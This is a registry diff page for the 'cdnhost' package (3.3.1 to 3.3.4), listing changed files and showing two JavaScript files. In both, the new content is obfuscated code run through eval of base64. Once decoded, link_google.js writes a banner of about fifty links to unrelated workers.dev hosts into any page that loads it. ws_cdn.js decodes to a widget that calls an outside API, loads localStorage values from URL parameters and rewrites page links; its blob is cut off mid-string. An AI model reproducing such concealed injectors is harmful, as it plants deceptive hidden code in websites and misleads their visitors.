cdnhost 3.3.1 → 3.3.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/_newb.js +1 -1
- package/link_google.js +1 -1
- package/package.json +1 -1
- package/ws_cdn.js +1 -1
- package/ws_css.css +215 -1
- package/isai.png +0 -0
- package/lai128.png +0 -0
- package/lai128.svg +0 -5
- package/lai48.png +0 -0
- package/lai800.png +0 -0
- package/logo/fish.png +0 -0
- package/logo/fish512.png +0 -0
- package/logo/wing1024.png +0 -0
- package/logo/wing512.png +0 -0
- package/ssk.png +0 -0
- package/ssk128.png +0 -0
- package/y.png +0 -0
package/_newb.js
CHANGED
package/link_google.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
eval(decodeURIComponent(escape(window.atob('
|
|
1
|
+
eval(decodeURIComponent(escape(window.atob('KGZ1bmN0aW9uICgpIHsNCmNvbnN0IHVybHMgPSBbImh0dHBzOi8vYTkuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTguMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTcuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTYuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTUuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTQuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vd3cuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTMuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTIuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYTEuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYWMuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYWIuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vYWEuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vNS4xeDgud29ya2Vycy5kZXYvIiwiaHR0cHM6Ly82LjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovLzcuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vd3d3LmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2phLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2pwLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2phcGFuLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2EuZ2Zjb2luLndvcmtlcnMuZGV2LyIsImh0dHBzOi8veWFob28uZ2Zjb2luLndvcmtlcnMuZGV2LyIsImh0dHBzOi8veC5nZmNvaW4ud29ya2Vycy5kZXYvIiwiaHR0cHM6Ly90d2l0dGVyLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL3dwLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL25ld3MuZ2Zjb2luLndvcmtlcnMuZGV2LyIsImh0dHBzOi8vOS4xeDgud29ya2Vycy5kZXYvIiwiaHR0cHM6Ly84LjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovL29vLjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovL2Jsb2dnZXIuMXg4LndvcmtlcnMuZGV2LyIsImh0dHBzOi8vcGluLjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovL2hpLjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovL21zLjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovL2ZhY2Vib29rLjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovL2dvb2dsZS4xeDgud29ya2Vycy5kZXYvIiwiaHR0cHM6Ly9uZXdzLjF4OC53b3JrZXJzLmRldi8iLCJodHRwczovL2hpLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovLzQuZ2Zjb2luLndvcmtlcnMuZGV2LyIsImh0dHBzOi8vcGluLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2tvLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL25ldC5nZmNvaW4ud29ya2Vycy5kZXYvIiwiaHR0cHM6Ly8xMC5nZmNvaW4ud29ya2Vycy5kZXYvIiwiaHR0cHM6Ly9ibG9nLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL3Bvc3QuZ2Zjb2luLndvcmtlcnMuZGV2LyIsImh0dHBzOi8vY29tLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2lvLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2phcGFuZXNlLmdmY29pbi53b3JrZXJzLmRldi8iLCJodHRwczovL2pwbi5nZmNvaW4ud29ya2Vycy5kZXYvIiwiaHR0cHM6Ly9nb29nbGUuZ2Zjb2luLndvcmtlcnMuZGV2LyJdOw0KDQogIGNvbnN0IGljb25zID0gWw0KICAgICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9jbG9jay1ob3VyLTUuc3ZnIiwgImh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vY2RuaG9zdEAyLjkuNi9pY29uL2Nsb2NrLWhlYXJ0LnN2ZyIsIA0KICAgICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9hcm1jaGFpci0yLnN2ZyIsICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9hcHAtd2luZG93LnN2ZyIsIA0KICAgICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9hbmdsZS5zdmciLCAiaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuOS42L2ljb24vYWxpZ24tYm94LWxlZnQtbWlkZGxlLnN2ZyIsICANCiAgICAiaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuOS42L2ljb24vY2xvdWQtYm9sdC5zdmciLCAiaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuOS42L2ljb24vY2xvdWQtY29nLnN2ZyIsICANCiAgICAiaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuOS42L2ljb24vY2xvdWQtYml0Y29pbi5zdmciLCAiaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuOS42L2ljb24vY2xvdWQtaGVhcnQuc3ZnIiwgDQogICAgImh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vY2RuaG9zdEAyLjkuNi9pY29uL2Nsb3VkLWxvY2suc3ZnIiwgImh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vY2RuaG9zdEAyLjkuNi9pY29uL2NvZGUtYXN0ZXJpc2suc3ZnIiwgIA0KICAgICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9jb21wYXNzLnN2ZyIsICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9jb29raWUuc3ZnIiwgIA0KICAgICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9jb29raWUtbWFuLnN2ZyIsICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAMi45LjYvaWNvbi9jdXAuc3ZnIg0KICBdOw0KDQogIGxldCBsaW5rc0h0bWwgPSAnJzsNCiAgdXJscy5mb3JFYWNoKCh1cmwsIGluZGV4KSA9PiB7DQogICAgY29uc3QgaWNvblVybCA9IGljb25zW2luZGV4ICUgaWNvbnMubGVuZ3RoXTsNCiAgICBjb25zdCBjbGVhbkRvbWFpbiA9IHVybC5yZXBsYWNlKC9eKGh0dHBzPzopP1wvXC8vLCAnJykucmVwbGFjZSgvXC8kLywgJycpOw0KICAgIGxpbmtzSHRtbCArPSBgPGEgaHJlZj0iJHt1cmx9IiB0YXJnZXQ9Il9ibGFuayIgdGl0bGU9IiR7Y2xlYW5Eb21haW59Ij48aW1nIHNyYz0iJHtpY29uVXJsfSIgYWx0PSJJY29uIj48L2E+YDsNCiAgfSk7DQoNCiAgY29uc3QgZnVsbEh0bWwgPSBgDQogICAgPGRpdiBpZD0iZ2xhc3MtYmFubmVyLXdyYXBwZXIiIHN0eWxlPSJ3aWR0aDogMTAwJTsgcGFkZGluZzogMjBweDsgYm94LXNpemluZzogYm9yZGVyLWJveDsgZGlzcGxheTogZmxleDsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7Ij4NCiAgICAgIDxzdHlsZT4NCiAgICAgICAgLm5iYXItY29udGFpbmVyIHsNCiAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgbWF4LXdpZHRoOiA4MDBweDsNCiAgICAgICAgICBoZWlnaHQ6IDQ4cHg7DQogICAgICAgICAgbWFyZ2luOiAwIGF1dG87DQogICAgICAgICAgYm9yZGVyLXJhZGl1czogMjRweDsNCiAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7DQogICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpOw0KICAgICAgICAgIGJveC1zaGFkb3c6IDAgOHB4IDMycHggMCByZ2JhKDMxLCAzOCwgMTM1LCAwLjEpOw0KICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAubmJhci1jb250YWluZXI6OmFmdGVyIHsNCiAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgIHJpZ2h0OiA0NHB4Ow0KICAgICAgICAgIHdpZHRoOiA0MHB4Ow0KICAgICAgICAgIGhlaWdodDogMTAwJTsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIHJnYmEoMjU1LCAyNTUsIDI1NSwgMCksIHJnYmEoMjU1LCAyNTUsIDI1NSwgMSkgOTAlKTsNCiAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAubmJhci1zY3JvbGwtYXJlYSB7DQogICAgICAgICAgZmxleC1ncm93OiAxOw0KICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICBvdmVyZmxvdy14OiBhdXRvOw0KICAgICAgICAgIGhlaWdodDogMTAwJTsNCiAgICAgICAgICBwYWRkaW5nOiAwIDE1cHg7DQogICAgICAgICAgLW1zLW92ZXJmbG93LXN0eWxlOiBub25lOw0KICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAubmJhci1zY3JvbGwtYXJlYTo6LXdlYmtpdC1zY3JvbGxiYXIgew0KICAgICAgICAgIGRpc3BsYXk6IG5vbmU7DQogICAgICAgIH0NCiAgICAgICAgLm5iYXItc2Nyb2xsLWFyZWEgYSB7DQogICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICBwYWRkaW5nOiAwIDdweCAhaW1wb3J0YW50Ow0KICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCiAgICAgICAgLm5iYXItc2Nyb2xsLWFyZWEgYSBpbWcgew0KICAgICAgICAgIHdpZHRoOiAyMHB4ICFpbXBvcnRhbnQ7DQoJCSAgbWF4LXdpZHRoOiB1bnNldCAhaW1wb3J0YW50Ow0KICAgICAgICAgIGhlaWdodDogMjBweCAhaW1wb3J0YW50Ow0KICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOw0KICAgICAgICB9DQogICAgICAgIC5uYmFyLXNjcm9sbC1hcmVhIGE6aG92ZXIgew0KICAgICAgICAgIG9wYWNpdHk6IDE7DQogICAgICAgIH0NCiAgICAgICAgLm5iYXItZml4ZWQtbWVudSB7DQogICAgICAgICAgZmxleC1zaHJpbms6IDA7DQogICAgICAgICAgd2lkdGg6IDQ0cHg7DQogICAgICAgICAgaGVpZ2h0OiAxMDAlOw0KICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsMC4yKTsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwyNTUsMjU1LDAuMDUpOw0KICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICB6LWluZGV4OiAyOw0KICAgICAgICB9DQogICAgICAgIC5uYmFyLWZpeGVkLW1lbnUgaW1nIHsNCiAgICAgICAgICB3aWR0aDogMThweDsNCiAgICAgICAgICBoZWlnaHQ6IDE4cHg7DQogICAgICAgICAgb3BhY2l0eTogMC44Ow0KICAgICAgICB9DQogICAgICA8L3N0eWxlPg0KICAgICAgPGRpdiBjbGFzcz0ibmJhci1jb250YWluZXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJuYmFyLXNjcm9sbC1hcmVhIj4NCiAgICAgICAgICAke2xpbmtzSHRtbH0NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9Im5iYXItZml4ZWQtbWVudSI+DQogICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vZmlsZXMuc3ZnY2RuLmlvL2NvZGV4L21lbnUuc3ZnIiBhbHQ9Ik1lbnUiPg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICBgOw0KICANCiAgZG9jdW1lbnQud3JpdGUoZnVsbEh0bWwpOw0KfSkoKTs='))));
|
package/package.json
CHANGED
package/ws_cdn.js
CHANGED
|
@@ -3,4 +3,4 @@
|
|
|
3
3
|
Unauthorized copying, modification, or redistribution is strictly prohibited.
|
|
4
4
|
*/
|
|
5
5
|
|
|
6
|
-
eval(decodeURIComponent(escape(window.atob('ICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsNCiAgICAgICAgaWYgKHdpbmRvdy5GSExXaWRnZXRJbml0aWFsaXplZCkgcmV0dXJuOw0KICAgICAgICB3aW5kb3cuRkhMV2lkZ2V0SW5pdGlhbGl6ZWQgPSB0cnVlOw0KDQogICAgICAgIGNvbnN0IGxhbmd1YWdlcyA9IFsgeyBjb2RlOiAnZW4nLCBuYW1lOiAnRW5nbGlzaCcgfSwgeyBjb2RlOiAna28nLCBuYW1lOiAn7ZWc6rWt7Ja0JyB9LCB7IGNvZGU6ICdlcycsIG5hbWU6ICdFc3Bhw7FvbCcgfSwgeyBjb2RlOiAnaGknLCBuYW1lOiAn4KS54KS/4KSo4KWN4KSm4KWAJyB9LCB7IGNvZGU6ICdhcicsIG5hbWU6ICfYp9mE2LnYsdio2YrYqScgfSwgeyBjb2RlOiAnZGUnLCBuYW1lOiAnRGV1dHNjaCcgfSwgeyBjb2RlOiAnZnInLCBuYW1lOiAnRnJhbsOnYWlzJyB9LCB7IGNvZGU6ICdwdCcsIG5hbWU6ICdQb3J0dWd1w6pzJyB9LCB7IGNvZGU6ICdibicsIG5hbWU6ICfgpqzgpr7gpoLgprLgpr4nIH0sIHsgY29kZTogJ2phJywgbmFtZTogJ+aXpeacrOiqnicgfSwgeyBjb2RlOiAncnUnLCBuYW1lOiAn0KDRg9GB0YHQutC40LknIH0sIHsgY29kZTogJ3poJywgbmFtZTogJ+eugOS9k+S4reaWhycgfSwgeyBjb2RlOiAndGgnLCBuYW1lOiAn4LmE4LiX4LiiJyB9LCB7IGNvZGU6ICd2aScsIG5hbWU6ICdUaeG6v25nIFZp4buHdCcgfSwgeyBjb2RlOiAnaWQnLCBuYW1lOiAnSW5kb25lc2lhJyB9LCB7IGNvZGU6ICd0cicsIG5hbWU6ICdUw7xya8OnZScgfSwgeyBjb2RlOiAndXInLCBuYW1lOiAn2KfYsdiv2YgnIH1dOw0KICAgICAgICBsZXQgY3VycmVudERpc3BsYXlJdGVtcyA9IFtdOyANCiAgICAgICAgbGV0IGN1cnJlbnRQYWdlID0gMTsgDQogICAgICAgIGNvbnN0IElURU1TX1BFUl9QQUdFID0gMzI7DQogICAgICAgIGxldCBpc0xvYWRpbmdOZXh0UGFnZSA9IGZhbHNlOyANCiAgICAgICAgbGV0IHNlYXJjaFRpbWVvdXQgPSBudWxsOw0KDQogICAgICAgIGNvbnN0IHdpZGdldENvbnRhaW5lciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtd2lkZ2V0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCB3aWRnZXRXcmFwcGVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC13aWRnZXQtd3JhcHBlcicpOw0KICAgICAgICBjb25zdCBsaXN0Q29udGFpbmVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1saXN0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCBzZWFyY2hJbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtc2VhcmNoLWlucHV0Jyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFJlc3VsdHNDb250YWluZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC1yZXN1bHRzJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFRyaWdnZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC10cmlnZ2VyJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaENsb3NlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtY2xvc2UnKTsNCiAgICAgICAgY29uc3QgaW5kaWNhdG9yVHJhY2sgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWluZGljYXRvci10cmFjaycpOw0KICAgICAgICBjb25zdCBzY3JvbGxJbmRpY2F0b3IgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNjcm9sbC1pbmRpY2F0b3InKTsNCiAgICAgICAgY29uc3QgYWRkVG9Ib21lQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1hZGQtdG8taG9tZS1idG4nKTsNCiAgICAgICAgY29uc3Qgc2VhcmNoQWRkQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtYWRkLWJ0bicpOw0KICAgICAgICBjb25zdCB0b2FzdEVsZW1lbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXRvYXN0LW5vdGlmaWNhdGlvbicpOw0KICAgICAgICBjb25zdCBsYW5ndWFnZUJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtbGFuZ3VhZ2UtYnRuJyk7DQogICAgICAgIGNvbnN0IGxhbmd1YWdlUGFuZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWxhbmd1YWdlLXBhbmVsJyk7DQogICAgICAgIGNvbnN0IGZpeGVkUXVlc3Rpb25CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLXF1ZXN0aW9uJyk7DQogICAgICAgIGNvbnN0IGZpeGVkQ2hhdEJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtZml4ZWQtY2hhdCcpOw0KICAgICAgICBjb25zdCBmaXhlZEluZm9CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLWluZm8nKTsNCiAgICAgICAgDQogICAgICAgIGxldCB0b2FzdFRpbWVvdXQgPSBudWxsOw0KCQljb25zdCBicm93c2VyTGFuZyA9IG5hdmlnYXRvci5sYW5ndWFnZS5zdWJzdHJpbmcoMCwgMik7DQoJCWxldCBjdXJyZW50TGFuZyA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdmaGwtd2lkZ2V0LWxhbmcnKSB8fCBicm93c2VyTGFuZyB8fCAnZW4nOw0KICAgICAgICBjb25zdCBBUElfQkFTRV9VUkwgPSAnaHR0cHM6Ly9pc2FpLmtyJzsNCg0KICAgICAgICBjb25zdCBzaG9ydGN1dE1hbmFnZXIgPSB7DQogICAgICAgICAgICBrZXk6ICdmaGwtY3VzdG9tLWljb25zLXdpdGgtZXhwaXJ5JywNCiAgICAgICAgICAgIGdldDogKCkgPT4gew0KICAgICAgICAgICAgICAgIGNvbnN0IHJhd0RhdGEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5KTsNCiAgICAgICAgICAgICAgICBpZiAoIXJhd0RhdGEpIHJldHVybiBbXTsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICBjb25zdCBkYXRhID0gSlNPTi5wYXJzZShyYXdEYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgY29uc3QgdGhpcnR5RGF5c0luTXMgPSAzMCAqIDI0ICogNjAgKiA2MCAqIDEwMDA7DQogICAgICAgICAgICAgICAgICAgIGlmIChEYXRlLm5vdygpIC0gZGF0YS50aW1lc3RhbXAgPiB0aGlydHlEYXlzSW5Ncykgew0KICAgICAgICAgICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oc2hvcnRjdXRNYW5hZ2VyLmtleSk7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gW107DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEFycmF5LmlzQXJyYXkoZGF0YS5zaG9ydGN1dHMpID8gZGF0YS5zaG9ydGN1dHMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAmJiBpdGVtLm5hbWUgJiYgaXRlbS51cmwpIDogW107DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbShzaG9ydGN1dE1hbmFnZXIua2V5KTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFtdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICBzZXQ6IChzaG9ydGN1dHMpID0+IHsNCiAgICAgICAgICAgICAgICBjb25zdCBkYXRhVG9TdG9yZSA9IHsgdGltZXN0YW1wOiBEYXRlLm5vdygpLCBzaG9ydGN1dHM6IHNob3J0Y3V0cyB9Ow0KICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKHNob3J0Y3V0TWFuYWdlci5rZXksIEpTT04uc3RyaW5naWZ5KGRhdGFUb1N0b3JlKSk7DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgc3luY0Zyb21VUkw6ICgpID0+IHsNCiAgICAgICAgICAgICAgICBjb25zdCBwYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpOw0KICAgICAgICAgICAgICAgIGNvbnN0IHNob3J0Y3V0c1BhcmFtID0gcGFyYW1zLmdldCgnc2hvcnRjdXRzJyk7DQogICAgICAgICAgICAgICAgaWYgKHNob3J0Y3V0c1BhcmFtKSB7DQogICAgICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBkZWNvZGVkRGF0YSA9IGRlY29kZVVSSUNvbXBvbmVudChzaG9ydGN1dHNQYXJhbSk7DQogICAgICAgICAgICAgICAgICAgICAgICBKU09OLnBhcnNlKGRlY29kZWREYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKHNob3J0Y3V0TWFuYWdlci5rZXksIGRlY29kZWREYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgeyBjb25zb2xlLmVycm9yKCJGYWlsZWQgdG8gcGFyc2Ugc2hvcnRjdXRzIGZyb20gVVJMOiIsIGUpfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICBnZXRBc1BhcmFtOiAoKSA9PiB7DQogICAgICAgICAgICAgICAgY29uc3QgcmF3RGF0YSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKHNob3J0Y3V0TWFuYWdlci5rZXkpOw0KICAgICAgICAgICAgICAgIGlmICghcmF3RGF0YSkgcmV0dXJuICcnOw0KICAgICAgICAgICAgICAgIHJldHVybiBgc2hvcnRjdXRzPSR7ZW5jb2RlVVJJQ29tcG9uZW50KHJhd0RhdGEpfWA7DQogICAgICAgICAgICB9DQogICAgICAgIH07DQogICAgICAgIA0KICAgICAgICBjb25zdCB1cGRhdGVBbGxXaWRnZXRMaW5rcyA9ICgpID0+IHsNCiAgICAgICAgICAgIGNvbnN0IHBhcmFtU3RyaW5nID0gc2hvcnRjdXRNYW5hZ2VyLmdldEFzUGFyYW0oKTsNCiAgICAgICAgICAgIGlmICghcGFyYW1TdHJpbmcpIHJldHVybjsNCiAgICAgICAgICAgIGNvbnN0IGFsbExpbmtzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnI2ZobC13aWRnZXQtY29udGFpbmVyIC5maGwtaWNvbi1kaXNwbGF5LCAjZmhsLXdpZGdldC1jb250YWluZXIgLmZobC1maXhlZC1pdGVtJyk7DQogICAgICAgICAgICBhbGxMaW5rcy5mb3JFYWNoKGxpbmsgPT4gew0KICAgICAgICAgICAgICAgIGlmIChsaW5rLnRhZ05hbWUgPT09ICdBJykgew0KICAgICAgICAgICAgICAgICAgICBjb25zdCBvcmlnaW5hbEhyZWYgPSBsaW5rLmdldEF0dHJpYnV0ZSgnaHJlZicpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoIW9yaWdpbmFsSHJlZiB8fCBvcmlnaW5hbEhyZWYuc3RhcnRzV2l0aCgnIycpKSByZXR1cm47DQogICAgICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICBsZXQgbmV3VXJsID0gbmV3IFVSTChvcmlnaW5hbEhyZWYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY29uc3QgW2tleSwgdmFsdWVdID0gcGFyYW1TdHJpbmcuc3BsaXQoJz0nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIG5ld1VybC5zZWFyY2hQYXJhbXMuc2V0KGtleSwgdmFsdWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgbGluay5ocmVmID0gbmV3VXJsLnRvU3RyaW5nKCk7DQoJCQkJCQlsaW5rLnJlbCA9ICdub2ZvbGxvdyc7IA0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7IGNvbnNvbGUuZXJyb3IoJ0ludmFsaWQgVVJMIGZvciBsaW5rIHVwZGF0ZTonLCBvcmlnaW5hbEhyZWYpfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9Ow0KDQogICAgICAgIGNvbnN0IHNob3dUb2FzdCA9IChtZXNzYWdlKSA9PiB7IGNsZWFyVGltZW91dCh0b2FzdFRpbWVvdXQpOyB0b2FzdEVsZW1lbnQudGV4dENvbnRlbnQgPSBtZXNzYWdlOyB0b2FzdEVsZW1lbnQuY2xhc3NMaXN0LmFkZCgndmlzaWJsZScpOyB0b2FzdFRpbWVvdXQgPSBzZXRUaW1lb3V0KCgpID0+IHsgdG9hc3RFbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoJ3Zpc2libGUnKX0sIDI1MDApfTsNCiAgICAgICAgDQogICAgICAgIGNvbnN0IGFwcGx5TGFuZ3VhZ2UgPSAobGFuZ0NvZGUpID0+IHsNCiAgICAgICAgICAgIGlmICh0eXBlb2YgdHJhbnNsYXRpb25zID09PSAndW5kZWZpbmVkJykgeyBjb25zb2xlLmVycm9yKCJUcmFuc2xhdGlvbnMgbm90IGxvYWRlZCEgTWFrZSBzdXJlIGxhbmcuanMgaXMgaW5jbHVkZWQgY29ycmVjdGx5LiIpOyByZXR1cm59DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2xhbmdDb2RlXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyA9IGxhbmdDb2RlOw0KICAgICAgICAgICAgc2VhcmNoVHJpZ2dlci5zZXRBdHRyaWJ1dGU